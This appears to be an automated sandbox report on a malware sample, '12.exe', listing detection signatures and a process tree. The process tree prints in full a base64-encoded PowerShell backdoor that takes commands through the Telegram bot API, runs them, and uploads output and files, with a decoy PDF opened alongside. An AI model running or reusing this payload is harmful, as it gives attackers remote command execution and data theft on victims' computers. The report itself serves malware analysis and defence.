Edit tour

Windows Analysis Report
12.exe

Overview

General Information

Sample name:	12.exe
Analysis ID:	1590581
MD5:	90f2ca0a38d6e5416ee2f6be6326521d
SHA1:	00bf14e8153778835f95b9255ae1658e37819f8d
SHA256:	6534d5fd803f9c85bec3a820cef54f953e8643f3a4e16677d11decbf1a5b54c7
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Encrypted powershell cmdline option found

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Uses the Telegram API (likely for C&C communication)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

12.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\12.exe" MD5: 90F2CA0A38D6E5416EE2F6BE6326521D)

powershell.exe (PID: 6496 cmdline: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA=='" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 4568 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1724,i,10193653544518332854,3055548416538146672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

powershell.exe (PID: 3552 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQ